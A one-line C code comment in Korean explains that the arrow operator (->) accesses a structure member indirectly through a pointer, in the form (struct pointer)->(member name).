// -> 연산자 -> 는 포인터를 통해 멤버를 간접적으로 접근한다. (구조체 포인터)->(맴버명)